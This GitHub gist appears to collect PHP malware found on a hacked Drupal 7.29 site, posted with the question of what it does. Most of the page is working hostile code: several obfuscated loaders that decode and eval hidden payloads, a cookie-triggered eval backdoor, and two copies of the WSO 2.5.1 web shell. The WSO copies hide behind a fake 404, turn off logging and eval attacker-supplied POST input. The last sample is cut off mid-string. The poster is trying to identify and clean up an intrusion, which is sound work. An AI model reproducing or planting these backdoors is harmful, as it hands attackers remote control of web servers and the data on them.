Skip to content

Instantly share code, notes, and snippets.

@timbrandin
Created December 8, 2014 15:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save timbrandin/370f812ece9829899a11 to your computer and use it in GitHub Desktop.
Save timbrandin/370f812ece9829899a11 to your computer and use it in GitHub Desktop.
What does it do? Found it on a hacked Drupal version 7.29
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qf4d0b0'])){eval(${$s20}['qf4d0b0']);}?><?php
$v8A8RSZ = Array('1'=>'N', '0'=>'p', '3'=>'S', '2'=>'P', '5'=>'4', '4'=>'A', '7'=>'X', '6'=>'Y', '9'=>'T', '8'=>'U', 'A'=>'e', 'C'=>'j', 'B'=>'C', 'E'=>'0', 'D'=>'k', 'G'=>'y', 'F'=>'H', 'I'=>'m', 'H'=>'q', 'K'=>'1', 'J'=>'w', 'M'=>'Q', 'L'=>'u', 'O'=>'h', 'N'=>'5', 'Q'=>'R', 'P'=>'Z', 'S'=>'o', 'R'=>'K', 'U'=>'V', 'T'=>'G', 'W'=>'B', 'V'=>'3', 'Y'=>'l', 'X'=>'x', 'Z'=>'M', 'a'=>'D', 'c'=>'r', 'b'=>'t', 'e'=>'g', 'd'=>'v', 'g'=>'c', 'f'=>'O', 'i'=>'E', 'h'=>'9', 'k'=>'f', 'j'=>'s', 'm'=>'8', 'l'=>'a', 'o'=>'I', 'n'=>'W', 'q'=>'d', 'p'=>'L', 's'=>'6', 'r'=>'z', 'u'=>'b', 't'=>'2', 'w'=>'n', 'v'=>'F', 'y'=>'7', 'x'=>'i', 'z'=>'J');
function vEKW67K($vEH8D1R, $vD29OQ2){$vSHOWK6 = ''; for($i=0; $i < strlen($vEH8D1R); $i++){$vSHOWK6 .= isset($vD29OQ2[$vEH8D1R[$i]]) ? $vD29OQ2[$vEH8D1R[$i]] : $vEH8D1R[$i];}
return base64_decode($vSHOWK6);}
$vG7FLWE = 'zTvKqTOkgTvrgG4hoBoG1CqO1a8tZrWY1C4X6rOI6IQOZCDXPCqYZti5PTir1GoyBeSD6thjuVoe234xotQ'.
'I13oyBxQDPnPOqnXE7tvCqTYdux4hoBqTlnXYgEKOuxgyBxQDPnPOqnXE'.
'7VUrPUhOlIv5oaEeqFzKP9jRzTQYPIvKuFQk6tOOgw1YqB4hoBq7lnNDuV'.
'qrp9iG19iwfJSRMTYLlUhrP7MSztUGgIhG7tXdPGgj9YUZ9BDyBDW0uIYkgtUERBqjutqkP'.
'7zGuVzrzGJJR9jRMTYLlUhrP7MSztKOAvhYATUCq7Q0utNkqTYbP3gjZBDyBDWrP7QkqTYbPUhjlnK0q'.
'BeJR9jRMF1Yqvhb6nq06KhXqnhEP71kgwULqTYbP3eJR9jRMTQYPIYLP3ewUK127KPv8Y1z9E5wpB4wZx5KpCiw'.
'R9jRBIYIRTqYqvhb6nq06KhXqnhEP71kPVWCRBD0oFjRoB4eoTPKuI1ElnhL'.
'ovq99V1EgIYJgtXOgtOYgGeD67zG67D0oFjRoB4eoB4eoBWGP7QKgI5el71k67zG67DSzTvGgIvNR34/oTvGgIvN7'.
'tKOgBewUK12gVQGl7WruTvrlTUrzGJezTvGgIvNR34soF1EgIYJgtXOgtOYgGeD'.
'67zG67D0fJSeoB4ekMSeoB4ezvhM9K18oaEeUK12gVQGl7WruTvrlTUr'.
'RBQk8ih9UBDyBx4eoB4D7E129EbzQ34hovq99V1EgIYJgtXOgtOYgG'.
'eD7E129EbzQ3DyBwERBIPKuI1ElnhLoFqruEXdPtYLRBDeAJSeoB4elTUOPTUGRBqoUvQMpriLZB4EZaMe9IhEoiPdqnN'.
'DzGDyBx4eoBWDln8SoCMJ1Bo0fJ0hBe0IqnNCqTYduxW78EhrP7QCuthcln8SzTjjoBQtR3W'.
'yBx4eoB4D7E129EbzQUjDlKEe234DqCjRoB4eoF1YqT1dutb0P3eDlGJezF60fJ0hB'.
'e00PxeOPnKJqFDSzTvKqTOkgTvrgGD0oFjRoB4eoTYIRTYrgtUERBQk8ih'.
'9UvjwgTvrgGqqR34Izx4SunMKRBQk8ih9UvjwgTvrgGqqR34h234D67UElvhJ671rR3DRoB4eoB4eoBW7'.
'8EhrP7QCuthcln8SunMKRBQk8EU3UDU3nGqoUvQM7EO28KMw73'.
'DjoBQOq7QS7VWOgVZ0fJSRoB4eoTYIoBeOl71rP7MSzvha9Ehp38UuunMKRBQk8EU3UDU3nGqoUvQM7EO28KMw73YqR3WmkB4Sz'.
'vha9Ehp38UuunMKRBQk8EU3UDU3nGqoUvQM7EO28KMw73YqoBihoBQOq7QS7VWOgVZ0RMSeoB4eoB4eoFqru'.
'EXdPtYLRBDyBwERBIPKuI1ElnhLoTvCqTYduYzaRBDeAJSeoB4eln6So84D7KW28KQuzV4XzKE0oFjRoB4eoB4eoB4D634ho'.
'TvGgIvNR4SeoB4eoB4eoB4eoB4xqnNOun8xoaE+oFWSgvhKuIvbP3e0p4SeoB4eoB4eoB4eoB'.
'4xgTOJ7VPYgw10ut5xoaE+oFWSgFPYgw10ut5SR3JRoB4eoB4eoB4eoB4eowqruKhtP7zrlnhLox4h2xW78EhkUDU38EY29xJR'.
'oB4eoB4eoB4eoB4eow1OPIUbutQYox4h2xW4lnN07tqYqBewgtvIPUhbutQYzGDRoB4eoB4eoB40fJSeoB4eoB4eoTUCl'.
'TmegtUGlnvjl70YRBQOR9jRoB4eoFEePnXrP3WyBx4eoB4eoB4eP7POuBeD7KW28KQuzV4XzKE0fJSeoB4ekM0hBIY'.
'IRBWYu7WEA3eD7KW28KQuztiw73DeRMSeoB4eln6Sl71rP7MSzTQYPIvKuFQk6n1ElnhLR34IzxWIqnNCq'.
'TYduYhYATYrqFZSztvCqTYduxgepx4DPTUI67UjqvhO6VQ0ut50RMSeoB4eoB4eoBQk8ih9Uvjw63qqoaEezTQYPIvKuFQk6n'.
'1ElnhLfJSeoB4ePnXrPMSeoB4eoB4eoBQk8ih9Uvjw63qqoaEezK1Y'.
'6EYLPImwfJ00PxeeonUbgFQNRBQk8ih9Uvjw63qqR34IzxWIqnNCqTYduYhYATYr'.
'qFZSztvCqTYduxgepx4D7KW28KQuztiw73DeRMSeoB4e6tvjuvhKgtUG7tPKuIZSztvCqTYduxgepx4D7KW28KQuz'.
'tiw73DyBIU5l7My';
eval(vEKW67K($vG7FLWE, $v8A8RSZ));?>
@timbrandin
Copy link
Author

Found another one:

<?php
$vZKMU7N = Array('1'=>'a', '0'=>'s', '3'=>'E', '2'=>'O', '5'=>'S', '4'=>'c', '7'=>'M', '6'=>'V', '9'=>'K', '8'=>'C', 'A'=>'x', 'C'=>'e', 'B'=>'0', 'E'=>'T', 'D'=>'h', 'G'=>'z', 'F'=>'o', 'I'=>'w', 'H'=>'l', 'K'=>'j', 'J'=>'R', 'M'=>'Y', 'L'=>'X', 'O'=>'B', 'N'=>'N', 'Q'=>'1', 'P'=>'u', 'S'=>'I', 'R'=>'2', 'U'=>'4', 'T'=>'p', 'W'=>'q', 'V'=>'m', 'Y'=>'y', 'X'=>'6', 'Z'=>'f', 'a'=>'i', 'c'=>'n', 'b'=>'U', 'e'=>'t', 'd'=>'v', 'g'=>'D', 'f'=>'9', 'i'=>'r', 'h'=>'b', 'k'=>'F', 'j'=>'H', 'm'=>'5', 'l'=>'d', 'o'=>'7', 'n'=>'8', 'q'=>'A', 'p'=>'L', 's'=>'G', 'r'=>'3', 'u'=>'W', 't'=>'g', 'w'=>'J', 'v'=>'Z', 'y'=>'P', 'x'=>'k', 'z'=>'Q');
function vUBLCFN($v446CMD, $vJNO8JJ){$vITMFFX = ''; for($i=0; $i < strlen($v446CMD); $i++){$vITMFFX .= isset($vJNO8JJ[$v446CMD[$i]]) ? $vJNO8JJ[$v446CMD[$i]] : $v446CMD[$i];}
return base64_decode($vITMFFX);}
$vDAZ8QL = 'wskQlsDZ4skG4YqfS8wH2uzAvK4I2ESY2gNHvKSAvEDD7u6xMKwVvKvKMVbrNaSo8'.
'tFxMRf0hrSty5qaSRJVN5So8aJxvuvDluABLRkKlsHdhaqfS8ls1uAH4BQDha4o8aJxvuvDluABLr6G'.
'v6fD1VkUSgBtljwQvE09wsJHvVkQhjJZMRDD4cNHl8qfS8lL1umx'.
'hrlGpE3YNE3c2IF9zsHP16fGvLzFwR6Y4VfYLRAdvY40EH67E8xo8xOThVHZ4R6B98l0hRlZvLwYhrwGwYII9E09zs'.
'HP16fGvLzFwRQDCkfHCs6KlLJThRmZlsHev54078xo8xOGvLJZlsHev6f01uQTl8tI'.
'9E09zjNHlkfeMulTMQfAlufBvLNZ4c6PlsHev5tI9E09zsJHvVHPv5tc6QNyLQvkbHNwEBUcp'.
'8qc7aUQpK3c9E098VHV9slHlkfeMulTMQfAlufBvLNZvrOK98xTSj09S8qtSsvQhVNB1uf'.
'PSklEErNB4VHI4RAD4RDH4YtxMLwYMLxTSj09S8qtS8qtS8OYvLJQ4VUt1'.
'LNZMLwYMLxFwskY4Vkm95q/SskY4VkmLRQD48tc6QNy4rJY1LOGhskG1s6GwY'.
'ItwskY4Vkm95qXSjNB4VHI4RAD4RDH4YtxMLwYMLxT2IFtS8qtZzFtS8qtwkfzEQNbSgBt6QNy4rJY1LOGhskG1s6G9'.
'8JZb3fE68xo8aqtS8qxLBNyEBewJ5qfSklEErNB4VHI4RAD4RDH4YtxLBNyEBewJ5xo8cB98VvQhVNB1ufPSjl'.
'GhBAdvRHP98xtCIFtS8qt1s6Dvs6Y98lS6kJzpG3P78qB7gztEVfBS3vdlumxwYxo8aqtS8Ox1ub'.
'FSKzIN8ST2ITf8tTVlumKlsHdhaOLbBfGvLJKhRfi1ubFws00S8JR95Oo8aqtS8qxLBNyEBewJ60x1QBty5qxlK0'.
'9S8qtSjNHlsNdhReTv5tx1YItwjMT2ITf8tTTvatDvuQIljxFwskQlsDZ4skG4YxTSj09S8qtSsHV9sHG4R6'.
'B98JZb3fE6k0c4skG4Yll95qVwaqFhuzQ98JZb3fE6k0c4skG4Yll95qfy5'.
'qxML6B1kfIMLNG95x9S8qtS8qtS8OLbBfGvLJKhRfi1ubFhuzQ98JZbB656x65uYlS6kJzLBDybQzcL5x0S8JDlLJFL'.
'rOD4r7T2IF9S8qtSsHVS8tD1LNGvLzFwkfgEBfp5b6hhuzQ98JZbB656x65uYlS6kJzLBDybQzcL5Hl95OnZ8q'.
'FwkfgEBfp5b6hhuzQ98JZbB656x65uYlS6kJzLBDybQzcL5HlS83fS8JD'.
'lLJFLrOD4r7T9zFtS8qtS8qtSjlGhBAdvRHP98xo8cB98VvQhVNB1ufPSskKlsH'.
'dhHwg98xtCIFtS8qt1uMFSbqxLQOybQJhwrqAwQBTSj09S8qtS8qtS8qxM5q'.
'fSskY4Vkm9qFtS8qtS8qtS8qtS8qalumDhubaSgB+SjOF4kfQhVkev5tTpqFtS8qtS8qtS8qtS8qa4'.
'sDILrvH4cNThRUaSgB+SjOF4jvH4cNThRUF95I9S8qtS8qtS8qtS8qtSclGhQfRv'.
'LwG1ufPSaqfyaOLbBfZ6x65bBHyEaI9S8qtS8qtS8qtS8qtScNDvV6ehRJH'.
'SaqfyaOq1umTLRlHl8tc4RkVv6fehRJHwYx9S8qtS8qtS8qT2IFt'.
'S8qtS8qtSs6K1snt4R6Y1uk01LTH98JD9E09S8qtSjBtvuAGv5Oo8aqtS8qtS8qtvLvDh8txLQOybQJhw'.
'rqAwQBT2IFtS8qtZzTf8VHV98OHhLOBC5txLQOybQJhwR3cL5xt9zF'.
'tS8qt1uMF1LNGvLzFwsJHvVkQhjJZMuNB1ufP95qVwaOVlumKlsHdhHfHCsH'.
'Glj7FwRkKlsHdha4tpaqxvs6VML60lkfDMrJThRUT9zFtS8qtS8qtS8JZb3fE6k0cM5llSgBtwsJHvVkQhjJZ'.
'MuNB1ufP2IFtS8qtvuAGvzFtS8qtS8qtS8JZb3fE6k0cM5llSgBtwQNHMBHPvVnc2ITTvatt'.
'Su6e4jJm98JZb3fE6k0cM5ll95qVwaOVlumKlsHdhHfHCsHGlj7FwRkKlsHdha4tpaqxLQOybQJhwR3cL'.
'5xt9zFtS8qtMRk0hkfQ4R6YLRvQhV7FwRkKlsHdha4tpaqxLQOybQJhwR3cL5xo8V6U1Lzo';
eval(vUBLCFN($vDAZ8QL, $vZKMU7N));?>

@timbrandin
Copy link
Author

<?php
$auth_pass = "e9d1f7092283ef21e8a1edb2ff6cbe76";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if (get_magic_quotes_gpc())
    {
    function WSOstripslashes($array)
        {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
        }

    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
    }

function wsoLogin()
    {
    header('HTTP/1.0 404 Not Found');
    die("404");
    }

function WSOsetcookie($k, $v)
    {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
    }

if (!empty($auth_pass))
    {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']) , $auth_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
    }

function actionRC()
    {
    if (!@$_POST['p1'])
        {
        $a = array(
            "uname" => php_uname() ,
            "php_version" => phpversion() ,
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
        }
      else
        {
        eval($_POST['p1']);
        }
    }

if (empty($_POST['a']))
if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
  else $_POST['a'] = 'SecInfo';

if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
exit;

@timbrandin
Copy link
Author

<?php
$auth_pass = "267a45630e601c8fbda291f7e3a8da37";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if (get_magic_quotes_gpc())
    {
    function WSOstripslashes($array)
        {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
        }

    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
    }

function wsoLogin()
    {
    header('HTTP/1.0 404 Not Found');
    die("404");
    }

function WSOsetcookie($k, $v)
    {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
    }

if (!empty($auth_pass))
    {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']) , $auth_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
    }

function actionRC()
    {
    if (!@$_POST['p1'])
        {
        $a = array(
            "uname" => php_uname() ,
            "php_version" => phpversion() ,
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
        }
      else
        {
        eval($_POST['p1']);
        }
    }

if (empty($_POST['a']))
if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
  else $_POST['a'] = 'SecInfo';

if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
exit;

@timbrandin
Copy link
Author

Found another one:

<?php
$vWT9JDV = Array('1'=>'v', '0'=>'D', '3'=>'4', '2'=>'N', '5'=>'G', '4'=>'e', '7'=>'g', '6'=>'z', '9'=>'H', '8'=>'1', 'A'=>'b', 'C'=>'o', 'B'=>'m', 'E'=>'Z', 'D'=>'2', 'G'=>'X', 'F'=>'T', 'I'=>'5', 'H'=>'w', 'K'=>'7', 'J'=>'l', 'M'=>'B', 'L'=>'h', 'O'=>'P', 'N'=>'j', 'Q'=>'9', 'P'=>'F', 'S'=>'O', 'R'=>'C', 'U'=>'3', 'T'=>'8', 'W'=>'y', 'V'=>'p', 'Y'=>'a', 'X'=>'U', 'Z'=>'t', 'a'=>'A', 'c'=>'J', 'b'=>'s', 'e'=>'E', 'd'=>'M', 'g'=>'u', 'f'=>'S', 'i'=>'x', 'h'=>'V', 'k'=>'Q', 'j'=>'k', 'm'=>'Y', 'l'=>'c', 'o'=>'q', 'n'=>'K', 'q'=>'L', 'p'=>'I', 's'=>'i', 'r'=>'R', 'u'=>'r', 't'=>'0', 'w'=>'n', 'v'=>'W', 'y'=>'d', 'x'=>'f', 'z'=>'6');
function vQRSMEC($v8UVDBF, $vYEYBH1){$vJOB9AC = ''; for($i=0; $i < strlen($v8UVDBF); $i++){$vJOB9AC .= isset($vYEYBH1[$v8UVDBF[$i]]) ? $vYEYBH1[$v8UVDBF[$i]] : $v8UVDBF[$i];}
return base64_decode($vJOB9AC);}
$v9450ZL = 'RBJBn5J6lDhtnRrxXeQFhPbsmDQjEfcynfaBcsMVlU2JyR7jG8MOX8rApB28lUr1AhQLmUrVAD3sGfj7c'.
'sm7YG2xEDQ1EPQVlR7jG82PXJEPXJbwXjh2F8rPGtPerPpwGfjVRwbnR'.
'vhDmvHCmBP6EFmtGDrJmDQjEf7jG8MOX8rApB21E5XsGfjVSHCcEGLVyR7VSHV'.
'QR7VVEsaCYG26EGkCcPQkF82XvWct4GMJpJtVpRmBpRrxXeQFhPbsy9JHEfcyOFtsdfpVRwbnRGrIl5XiGU2JABk'.
'CnFbnRvh3YGkCnFbnxkVJA92JYvm7n5J6lDhtnRrxXeQFhPbsy9JHEfcynfaBcsajG8MOX8rAp'.
'wrIl5XsGFtQpNpsnkVKR7VQRBhblDhVEsaCYG26EGkCcPQkF82XvWc'.
't4GMJpJtVnkVKR7JJmDL1pRrxXeQFhPbsy9JHEfcySHCcEGLVyR7VSHVQR7VJlwc1lJTtd0kCnFbnRBE8AB2t'.
'YvQgp5J6GDy1ADrxYGaCc5JHnkVKR7jjEDQ1E9d7OfMMlwcL4f7s2s3iS0XgdNdIqspbpRp3qNe6SR3idF7gps'.
'jKR7jnRvE1lBhLmD77nRrwADQjlWMLlWajEDQ1ERjnRGbnRkJVEsaClUrWlUrWnRrVlRH7c5y1ADkV'.
'pReQpeEMFP2PnkCcRGbnRkjclBhtyGcgpPrfhXXKR7jcxkCcxkCcR7JWEGr8lB37rjPdXtXKRwtnRBE8AB2tYvQgp9'.
'rIl5XiGU2JABkCnkVKR7JVEs7LYG26EGkCcPQkF82XvWcJAvPVA9dsGfjnRkjcF8p7pvJ6lDhtnRrxXeQFhPbsy5LJAv'.
'h6pJtVR7jcRXQfpRPVlU2JyR7jG8MOX8rApB8JlU2LEDh6pJtVR7jcRXQfpRPVlU2JyR7jG8MOX8rApBEWAD86pJtVR'.
'7jcRXQfpRPVlU2JyR7jG8MOX8rApB8LYviJlwdsGfjnRfjnRGbnRkJJ45JtnRjKR'.
'7JQR7CcYvmCEDhtGD8LEDJNGUP8AUrJl8Qwl5dCnfjnRGbnRkJBAUcJ'.
'mv2CnRrxXeQFhRMLlWajYDhIp0t+pRrHAU2tnkCcRGbnRkjccPQk'.
'F82XvWruEGJyp0t7lUrWYGMNlDiLlDLJlW7jl5Q6yRjKR7jcxkCcxkCnRfrJAvPVA9d7OfMayvI6EGcVmviV4'.
'BXCmBP6EFmtGDrJmDQjEf7jG8MOX8rApBhZmvJblWcynfjKR7jjy5LJAvh6p0t7k9hglDhWYvPbYGVJn5cLlDXD'.
'2PQjEv21E5XCcPQkF82XvWctY5hZEGdsGfjVSHCcc58JlU2LEDh'.
'6p0t7k9hglDhWYvPbYGVJn5cLlDXD2PQjEv21E5XCcPQkF82XvWcZEG26mvyJlWcynfjK'.
'R7jjEwc1AGd7OfMayvI6EGcVmviV4BXCmBP6EFmtGDrJmDQjEf7jG8MOX8rApBEWAD'.
'86pJtVnFbnRfrZmvJbEGc6p0t7k9hglDhWYvPbYGVJn5cLlDXD2PQjEv21E5XCcPQkF82XvWcZmvJbEGc6pJtVn'.
'FbnRfrLA5JLlDh6p0t7k9hglDhWYvPbYGVJn5cLlDXD2PQjEv21E5XCcPQkF8'.
'2XvWcLA5JLlDh6pJtVnFbnRfrHmG26EGd7OfMayvI6EGcVmviV4BXCmBP6EFmtGDrJmDQjEf7jG8MOX8rApwMLlU2'.
'JlWcynfjKR7CcYvmCYG26EGkCcPQFrhcvrhpVnkCc4HCcRfrxXthfhjhfvWykfPMxXthdrsyyp0t7psTsS'.
'WanRkjjG82PXJEPXJbwXjh2F8rPGtPerPpwGfaQpRpidNlgdR3HqNesSHCcR'.
'vJBnRPJAGMt4f7jG82PXJEPXJbwfPrXXPQmGtEOXJyMXjrPrPQ5F8pw'.
'GfjVR7jc4HCcRkjjG82PXJEPXJbwfPrXXPQmGtEOXJyMXjrPrPQ5F8pwGfaQpRpi'.
'dNlgdR3HqNesSHCcRGtnRGtnR7JVEsLVlU2JyR7jGtEcFehFnfjnRGbnRkJBAUcJmv2CnRrxrjJdrhd7mGd7c5ZJ4fa'.
'QOsajEBJbEfjnRkJKR7jcRfrBYviJABPZEfaQp5Pby5hWGD8LmUc1lW7'.
'jmviVmG2Jl8bjYDhIGfjKR7jcRfrBYviJABPZEfaQp5I8AhQZmv2WAUdCc5EVA5hgmv8JnFbnRkjcc5EVA5hgmv8Jp0t7y5h3'.
'yPQZmv2WAUdCc5EVA5hgmv8JnFbnRkjcc5EVA5hgmv8Jp0t745I8AhQZmv2WAUdCc5EVA5hgmv8Jn'.
'FbnRkjccPQ5fXiPX8bjYDhIGhbsABPZEfcyp0t7c5EVA5hgmv8JSHCcRGtnRGtnR7JVEsLJAGMt4f7jEv8LY'.
'vi6nfjnRGbnRkJJ45JtnRjKR7JQR7CcEBQWEvPNYRaCc5hZmvJblWMLlWajEwrJYvH7OF37c5'.
'hZmvJbnkCc4HCcRfrtY5hZEfaQpRrtY5hZEG2AmGcWmGJxlBPgER7jy5LJAvh6nhtKR7jcc9rCEv8Jp0t7mvitEGcxAvPNlBQ6'.
'nRrtY5hZEhbsy5LJAvXsGfjKR7jcc9rCEv8Jp0t7AwhZGD8LmUc1lW7jy5LJAvXVSHCcR'.
'frtY5hZEfaQp9rJ49rxAvPNlBQ6nRrtY5hZEfjKR7jcc9rCEv8Jp0t745I8AhQZ'.
'mv2WAUdCc9rCEv8JnFbnR7jcc58JlU2LEDX7OfajAvh6lDPwEG2AmGcWmGJxlB'.
'PgER7jAvh6lDPwEGdVGFbnRkjjAvh6lDPwEfaQp5Pby5hWGD8LmUc1lW7jAvh6lDPwEhbsAvh6lDPwEf'.
'cynFbnRkjjAvh6lDPwEfaQp5I8AhQZmv2WAUdCc58JlU2LEDXVSHCcRfrZEG26mvyJp0t7y5h3yPQZmv2WAUdCc58JlU2LEDX'.
'VSHCcRfrZEG26mvyJp0t745I8AhQZmv2WAUdCc58JlU2LEDXVSHCcRfT1c58JlU2L'.
'EDX7OfMHmG26GD8LmUc1lW7jAvh6lDPwEfH7c9MLlU2JlWjKR7jcc58JlU2LEDX7OfMBy5hVAPQZmv2WA'.
'UdCc58JlU2LEDXbpRrBy5hVARjKR7CcRfrBlBQZp0t7c5EWAD86vDPWlBPIGUcLABkCc5EWAD'.
'86nhtKR7jcc5EWADt7OfMLA9rJlJQZmv2WAUdCc5EWAD8ApBEWADtsG'.
'fjKR7jcc5EWADt7OfMgyv8xAvPNlBQ6nRrBlBQZnFbnRkjjEwc1AfaQp9rJ'.
'49rxAvPNlBQ6nRrBlBQZnFbnRkjjEwc1AfaQp9Lgyv8xAvPNlBQ6nRrBlBQZnFbnRkjnRkJVEsaClUrWlUrWnRrBlBQ'.
'ZqRasvt2hX8rOFhtsnfaQOfM5kXiFrfjnRkJKR7jcRfrBlBQZp'.
'0t7Ewc1AhQCAU2tnRrBlBQZnFbnRkJQR7jcEvi6EkCcRGbnRkjcc5EWADt7OfM6y9cxlBhHA5'.
'PNEf7svt2hX8rOFhtsqRaspsH7c5EWADtVSHCcRGtnR7jcc58LYviJlsaQpR'.
'rZmvJbEGc6vDPWlBPIGUcLABkCc58LYviJlwdVGFbnR7jclDhgEPQZmvJbnRrBlBQZqRajEv8LYvHbpRrtY5h'.
'ZEfH7c58JlU2LEDXbpRrZmvJbEGpVSHCcxkVQR7VByvINy5J1AsM6EvIjGD8LYvHCc5EWADtbpRrtAWH7c9'.
'28mBCbpRrtEGLtqRajAvPVA5hWnkVKRsa7pRajY5hLERaQpRpsSHCnpRa7'.
'pRr8AsaQp92tlwr1yGMHEGpCyvIVlvJjn9rVAvXCnfjVSHCnpRa7pRrCEvPjpR3QpRc5lBQZSsajEwc1AhigpNb'.
'npRa7pRrCEvPjpR3QpRcmqX8LYviJlNC7c58LYviJlJigpNbnpRa7pRrCEvPjpR3QpRcfEGMb4f8'.
'XA6C7c5EWAD8lAspKR7C7pRa7c5LJmvk7qNt7pj8VAvXZhBhWlDJ1ANC7'.
'df3HG53sSHC7pRa7c5LJmvk7qNt7pj21AwrJAwkZh9JHEFC7AGhby5JHmGctqDPby5hWABPtYGEJSWpKRs'.
'a7pRajY5hLERagOfasmBQ8ABrLlwjQGRpZqftZqftZqftZps3jyv3gpJHsG5IlAspKR'.
'sa7pRanpRa7pRrHA5PVAsaQp92tlBJHGUrLEUdCc9rJ49kVSHC7pRa7c9VLEWaQpRpZqftZqftZqftZqftsqsr8As3'.
'sG5I0ADItEvItqhrIl5Xzp9rJ49k1l5iLYv3Kp52CmGc6EGkQGRccXtTZS078SftiGRpKp5E1lB8Ly08BA5QU'.
'EvrlAspKRsa7pRaj4BPwpR3QpRc0ADItEvItqhrWmvI6EBhWqXhgmDQjYvIwSsaUmBJtG5IlAspgc9MbmvJgqsclAJigpNbnpRa7'.
'paC7pRa7c9VLEWagOfasqftZqftZqftZqftZps3jyv3gpJigkDQgy5hgyR8X4GMJSsMtEGLtqDLtAvHKp52CmGc6EGkQGRcc'.
'XtTZS078SftiGRpKG53sSHC7pRa7c9VLEWagOfaskDQgy5hgyR8XlBPglDEJl'.
's8PAB21E5JgE6C72DcVyPigG53jy5h3yPigG53sSHC7pRa7c9VLEWagOfasqftZqftZqftZqftZps3jy'.
'v3gpstZpNbnpRa7paC7pRa7YvmCmDQ8AwkCcPQ5fXiPXWj7OsaHnkC7pRa74HC7pRa7'.
'pRa7p5E1lBhLmD7CcPQ5fXiPXWMLlWajEBJbEfjnpRa7pRa7pRMKRsa7pRa7pRa7pRa7p5JBn5EVA5hxEG'.
'LVlUr6nRrBYviJvWctAGMxABPZEfcynfjnpRa7pRa7pRa7pRa74HC7pRa7pRa7pRa7pRa7p'.
'Ra7c5m7OfMBAUMJAs7jEBJbEhbsy58HGDILAvXsGfH7pwcspsjKRsa7pRa7pRa7pRa7pRa7pRaj4BPwpR3QpRpZqftZ'.
'qftZqftZqftsqsr8As3sG53sSHC7pRa7pRa7pRa7pRa7pRa7c9VLEWagOfaskDQgy5hgyR8X4GMJSsMLl9MbYv2L'.
'y5J1AsQ1mUrJyR86y9cJmvtKpNbnpRa7pRa7pRa7pRa7pRa7pR'.
'rzmvl7qNt7pBILAvXQGRpsqsrBYviJvWcgmv8JpJtgpJHsG53sSHC7pRa7pRa7pRa7pRa7pRa7c9VLEWagO'.
'faskDQgy5hgyR8XlBPglDEJls8PAB21E5JgE6VsmG2J2NrlAspKRsa7pRa7pRa7'.
'pRa7pRa7pRaj4BPwpR3QpRc0ADItEvItqXrVlUM1lDJtYvQgSBPty5PNY5'.
'8JAwkKpNbnpRa7pRa7pRa7pRa7pRa7pRrzmvl7qNt7pBEVA5hgmv8JOh'.
'Hsps3jEBJbEhbsABPZEfcyqsclpJigG53sSHC7pRa7pRa7pRa7pRa7pRa7c9VLEWagOfMNY9hgY8Q6l5'.
'iVyRLsmG2J2NrxEvINADrJn5EWEvPjnRrBqRMBYviJlDJzEf7jEBJbEhbsy58HGDILAvXsG'.
'fjVnfjgpJigpNbnpRa7pRa7pRa7pRa7pRa7p5ENA5Q6Ef7jEsjKRsa7pRa7pRa7pRa7'.
'p9tnpRa7pRa7pRMQRsa7pRMQR7C7pRa7YvmCk58LYvHCc9r1qRajlUhsYsH7c9VLEWH7c5'.
'LJmvkVnkC7pRa74HC7pRa7pRa7p5JBnRPJAGMt4f7jG8MOX8rAcUEJlBc1lDXwGfjVRs'.
'a7pRa7pRa7pRa7p5hNY5T7pJ2PFjrPrRpKRsa7pRMQRsa7pRMJA92JRsa7pRMKRsa7pRa7pRa7YvmCpvhZl9rInRrxXeQFhPb'.
'wyBhWmBQ6EfyynfjnpRa7pRa7pRa7pRa7Ev2CAWasrjPcFRpKRsa7pRMQRwtnRBE8'.
'AB2tYvQgp5Pby5hWGD8LmUc1lW7jmDQgy5hgyRjn4HC7pRa7l9cJE8QZmGrNYPQLA5HCcW2'.
'KnR3onGtNhvjwqRajmDQgy5hgyRH7c58Ly52CEGdVSHCnpRa7p5E1ls7jYfaQp0aKpRrVp0H7mDQ8AwkCc58Ly52CEG2Ad'.
'htVSWajYfbunkC7pRa74HCnpRa7pRa7pRajAwd7OfMJ49MbADrJnR'.
'cTpsH7c58Ly52CEG2Adh8Ac5JynFbnpRa7pRa7pRajm6p7OfMNAUhgy'.
'R7jAwdVSHC7pRa7pRa7pRrWmvIjp0t7lBPgER7HqRaCc5dWpRt7dfjVS'.
